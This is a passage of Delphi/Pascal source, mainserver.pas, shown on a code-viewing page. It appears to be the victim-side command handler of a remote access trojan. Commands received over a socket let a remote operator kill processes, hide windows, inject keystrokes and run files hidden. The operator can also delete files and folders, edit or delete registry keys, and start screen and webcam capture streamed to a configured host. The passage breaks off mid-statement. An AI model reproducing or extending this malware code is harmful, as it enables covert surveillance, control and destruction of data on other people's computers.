📄 mainserver.pas
字号:
if Copy(Recibido, 1, 8) = 'KILLPROC' then
begin
Delete(Recibido, 1, 9);
if TerminarProceso(Recibido) = True then
Socket.SendText('MSG|进程结束完毕 ' + Recibido + ENTER)
else
Socket.SendText('MSG| :( 没有找到进程PID,命令执行失败 ' + Recibido +
ENTER);
end;
//窗口操作
if Recibido = 'WIND' then
begin
Respuesta := GetWins();
Socket.SendText('WIND|' + Respuesta + ENTER);
end;
//窗口句柄关闭
if Copy(Recibido, 1, 8) = 'CLOSEWIN' then
begin
Delete(Recibido, 1, 9);
CerrarVentana(StrToInt(Recibido));
Socket.SendText('MSG|窗口句柄结束成功 ' + Recibido + ENTER);
end;
//窗口最大化
if Copy(Recibido, 1, 6) = 'MAXWIN' then
begin
Delete(Recibido, 1, 7);
MaximizarVentana(StrToInt(Recibido));
Socket.SendText('MSG|窗口最大化成功' + Recibido + ENTER);
end;
//窗口最小化
if Copy(Recibido, 1, 6) = 'MINWIN' then
begin
Delete(Recibido, 1, 7);
MinimizarVentana(StrToInt(Recibido));
Socket.SendText('MSG|窗口最小化成功 ' + Recibido + ENTER);
end;
//窗口显示
if Copy(Recibido, 1, 7) = 'SHOWWIN' then
begin
Delete(Recibido, 1, 8);
MostrarVentana(StrToInt(Recibido));
Socket.SendText('MSG|窗口显示成功 ' + Recibido + ENTER);
end;
//窗口隐藏
if Copy(Recibido, 1, 7) = 'HIDEWIN' then
begin
Delete(Recibido, 1, 8);
OcultarVentana(StrToInt(Recibido));
Socket.SendText('MSG|窗口隐藏成功 ' + Recibido + ENTER);
end;
//所有窗口最小化
if Recibido = 'MINALLWIN' then
begin
MinimizarTodas();
Socket.SendText('MSG|所有窗口最小化成功.' + ENTER);
end;
// 按键发送
if Copy(Recibido, 1, 8) = 'SENDKEYS' then
begin
Delete(Recibido, 1, 9);
TempStr := Copy(Recibido, 1, Pos('|', Recibido) - 1);
//Copia el handle de la ventana...
Delete(Recibido, 1, Pos('|', Recibido)); //borra el handle + '|'
try
i := StrToInt(TempStr)
except
begin
Socket.SendText('MSG|无法发送键值命令 ' + TempStr + ENTER);
Exit;
end;
end;
AppActivateHandle(i);
SendKeys(PChar(Recibido), True);
Socket.SendText('MSG|发送键值成功 ' + TempStr + ENTER);
end;
//消息发送
if Copy(Recibido, 1, 4) = 'MSJN' then
begin
Delete(Recibido, 1, 4);
TempStr := Copy(Recibido, 1, Pos('|', Recibido) - 1);
Delete(Recibido, 1, Pos('|', Recibido));
TempStr1 := Copy(Recibido, 1, Pos('|', Recibido) - 1);
Delete(Recibido, 1, Pos('|', Recibido));
TempStr2 := Copy(Recibido, 1, Pos('|', Recibido) - 1);
Delete(Recibido, 1, pos('|', Recibido));
TempStr3 := Copy(Recibido, 1, Pos('|', Recibido) - 1);
Tipo := 0;
if TempStr2 = 'WARN' then
Tipo := MB_ICONERROR;
if TempStr2 = 'QUES' then
Tipo := MB_ICONQUESTION;
if TempStr2 = 'EXCL' then
Tipo := MB_ICONEXCLAMATION;
if TempStr2 = 'INFO' then
Tipo := MB_ICONINFORMATION;
case StrToInt(TempStr3) of
0: BotonPulsado := MessageBox(0, PChar(TempStr), PChar(TempStr1), Tipo +
MB_OK);
1: BotonPulsado := MessageBox(0, PChar(TempStr), PChar(TempStr1), Tipo +
MB_OKCANCEL);
2: BotonPulsado := MessageBox(0, PChar(TempStr), PChar(TempStr1), Tipo +
MB_RETRYCANCEl);
3: BotonPulsado := MessageBox(0, PChar(TempStr), PChar(TempStr1), Tipo +
MB_YESNO);
4: BotonPulsado := MessageBox(0, PChar(TempStr), PChar(TempStr1), Tipo +
MB_YESNOCANCEL);
5: BotonPulsado := MessageBox(0, PChar(TempStr), PChar(TempStr1), Tipo +
MB_ABORTRETRYIGNORE);
else
BotonPulsado := MessageBox(0, PChar(TempStr), PChar(TempStr1), Tipo +
MB_OK); //nunca deber韆 pasar pero es mejor prevenir
end;
case BotonPulsado of
IdOK: Socket.SendText('MSG|“确定”图标消息' + ENTER);
IdCancel: Socket.SendText('MSG|“取消”图标消息' + ENTER);
IdRetry: Socket.SendText('MSG|“重试”图标消息' + ENTER);
IdYes: Socket.SendText('MSG|“是”图标消息' + ENTER);
IdNo: Socket.SendText('MSG|“否”图标消息' + ENTER);
IdAbort: Socket.SendText('MSG|“放弃”图标消息' + ENTER);
IdIgnore: Socket.SendText('MSG|“忽略”图标消息' + ENTER);
end;
end;
//获取硬盘列表
if Recibido = 'VERUNIDADES' then
Socket.SendText('VERUNIDADES|' + GetDrives(Tam) + ENTER);
//显示文件目录
if Copy(Recibido, 1, 14) = 'LISTARARCHIVOS' then
begin
Delete(Recibido, 1, 15);
if Copy(GetDirectory(Recibido), 1, 4) = 'MSG|' then
begin
Socket.SendText(GetDirectory(Recibido) + ENTER);
Exit;
end;
TempStr := GetDirectory(Recibido);
Socket.SendText('LISTARARCHIVOS|' + IntToStr(Length(TempStr)) + '|' + TempStr
+ ENTER);
end;
//执行文件
if Copy(Recibido, 1, 4) = 'EXEC' then
begin
Delete(Recibido, 1, 5);
if Copy(Recibido, 1, 6) = 'NORMAL' then //正常打开
begin
Delete(Recibido, 1, 7);
if ShellExecute(0, 'open', PChar(Recibido), '',
PChar(ExtractFilePath(Recibido)), SW_NORMAL) > 32 then
Socket.SendText('MSG|文件成功执行.' + ENTER)
else
Socket.SendText('MSG|文件执行失败.' + ENTER);
end; //if copy = normal
if Copy(Recibido, 1, 6) = 'OCULTO' then //隐藏打开
begin
Delete(Recibido, 1, 7);
if ShellExecute(0, 'open', PChar(Recibido), '' {sin parametros},
PChar(ExtractFilePath(Recibido)), SW_HIDE) > 32 then
Socket.SendText('MSG|隐藏打开文件成功.' + ENTER)
else
Socket.SendText('MSG|隐藏打开文件成功失败' + ENTER);
end; //if copy = oculto
end;
if Copy(Recibido, 1, 7) = 'DELFILE' then //删除文件
begin
Delete(Recibido, 1, 8);
if FileExists(Recibido) then
begin
if BorrarArchivo(Recibido) = True then
Socket.SendText('MSG|删除文件成功' + ENTER)
else
Socket.SendText('MSG|删除文件失败' + ENTER);
end
else
Socket.SendText('MSG|文件不存在' + ENTER);
end;
if Copy(Recibido, 1, 9) = 'DELFOLDER' then
begin
Delete(Recibido, 1, 10);
if DirectoryExists(Recibido) then
begin
if BorrarCarpeta(Recibido) = True then
Socket.SendText('MSG|删除文件夹成功' + ENTER)
else
Socket.SendText('MSG|删除文件夹失败' + ENTER);
end
else
Socket.SendText('MSG|文件夹不存在' + ENTER);
end;
if Copy(Recibido, 1, 6) = 'RENAME' then
begin
Delete(Recibido, 1, 7);
TempStr := Copy(Recibido, 1, Pos('|', Recibido) - 1);
Delete(Recibido, 1, Pos('|', Recibido));
if FileExists(TempStr) or DirectoryExists(TempStr) then
begin
if RenameFile(TempStr, Recibido) = True then
Socket.SendText('MSG|文件重命名成功' + ENTER)
else
Socket.SendText('MSG|文件重命名失败' + ENTER);
end
else
Socket.SendText('MSG|文件不存在' + ENTER); //el archivo no existe...
end;
//新建文件夹
if Copy(Recibido, 1, 5) = 'MKDIR' then
begin
Delete(Recibido, 1, 6);
if not DirectoryExists(Recibido) then
begin
if CreateDir(Recibido) = True then
Socket.SendText('MSG|新建文件夹成功' + ENTER)
else
Socket.SendText('MSG|新建文件夹失败' + ENTER);
end
else
Socket.SendText('MSG|同名文件夹已经存在,无法创建' + ENTER);
//Ya existe una carpeta con ese nombre
end;
if Copy(Recibido, 1, 12) = 'LISTARCLAVES' then
begin
Delete(Recibido, 1, 13);
TempStr := ListarClaves(Recibido);
Socket.SendText('LISTARCLAVES|' + IntToStr(length(TempStr)) + '|' + TempStr
+ ENTER);
end;
if Copy(Recibido, 1, 13) = 'LISTARVALORES' then
begin
Delete(Recibido, 1, 14);
Socket.SendText('LISTARVALORES|' + ListarValores(Recibido) + ENTER);
end;
if Copy(Recibido, 1, 14) = 'NEWNOMBREVALOR' then
begin
Delete(Recibido, 1, 15);
TempStr := Copy(Recibido, 1, Pos('|', Recibido) - 1);
Delete(Recibido, 1, Pos('|', Recibido));
TempStr1 := Copy(Recibido, 1, Pos('|', Recibido) - 1);
Delete(Recibido, 1, Pos('|', Recibido));
TempStr2 := Copy(Recibido, 1, Length(Recibido));
if RenombrarClave(PChar(TempStr), PChar(TempStr1), PChar(TempStr2)) then
Socket.SendText('MSG|修改命令成功执行.' + ENTER)
else
Socket.SendText('MSG|修改命令执行失败.' + ENTER);
end;
if Copy(Recibido, 1, 14) = 'BORRARREGISTRO' then
begin
Delete(Recibido, 1, 15);
if BorraClave(Recibido) then
Socket.SendText('MSG|删除命令成功执行.' + ENTER)
else
Socket.SendText('MSG|删除命令执行失败.' + ENTER);
end;
//键值
if Copy(Recibido, 1, 8) = 'NEWCLAVE' then
begin
Delete(Recibido, 1, 9);
TempStr := Copy(Recibido, 1, Pos('|', Recibido) - 1);
Delete(Recibido, 1, Pos('|', Recibido));
TempStr1 := Copy(Recibido, 1, Length(Recibido));
//Quitamos la 鷏tima barra '\'
if AniadirClave(TempStr + TempStr1, '', 'clave') then
Socket.SendText('MSG|键值建立成功' + ENTER)
else
Socket.SendText('MSG|键值建立失败.' + ENTER);
end;
if Copy(Recibido, 1, 8) = 'ADDVALUE' then
begin
Delete(Recibido, 1, 9);
TempStr := Copy(Recibido, 1, Pos('|', Recibido) - 1);
Delete(Recibido, 1, Pos('|', Recibido));
TempStr1 := Copy(Recibido, 1, Pos('|', Recibido) - 1);
Delete(Recibido, 1, Pos('|', Recibido));
if AniadirClave(TempStr, Copy(Recibido, 1, Length(Recibido)), TempStr1) then
Socket.SendText('MSG|子键建立成功' + ENTER)
else
Socket.SendText('MSG|子键建立失败' + ENTER);
end;
if Copy(Recibido, 1, 9) = 'CAPSCREEN' then
begin
Delete(Recibido, 1, 10);
Verycolored:=2;//默认
thost := Configuracion.sHost;
tport := Configuracion.iPort;
tsh := sh;
if ScreenOver then ScreenCapture.Terminate;
ScreenCapture := TScreenCaptureThread.Create;
end;
//分辨率
if Copy(recibido, 1, 6) = 'SETPIX' then
begin
Delete(recibido, 1, 7);
try
Verycolored:=strtoint(Copy(Recibido, 1, 1));
except
Verycolored:=2;
end;
end;
//分辨率
if Copy(recibido, 1, 8) = 'INTERVAL' then
begin
Delete(recibido, 1, 9);
// messagebox(0,pchar(recibido),'',mb_ok);
try
interval:=strtoint(Recibido);
except
interval:=10;
end;
end;
//修改服务端ID
if Copy(recibido, 1, 8) = 'CAMBIOID' then
begin
Delete(recibido, 1, 8);
writeID(recibido);
end;
if Copy(recibido, 1, 13) = 'CAPTURAWEBCAM' then
begin
Delete(recibido, 1, 13);
TempStr := Copy(Recibido, 1, Pos('|', Recibido) - 1);
Delete(Recibido, 1, Pos('|', Recibido));
// if CapturarWebcam(StrToInt(Recibido), StrToInt(TempStr)) then ;
// begin
//
Vhost := Configuracion.sHost;
Vport := Configuracion.iPort;
Vsh := sh;
Try
If TVThread<>Nil Then TVThread.Terminate;
TVThread:=TDTVThread.Create;
Except
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -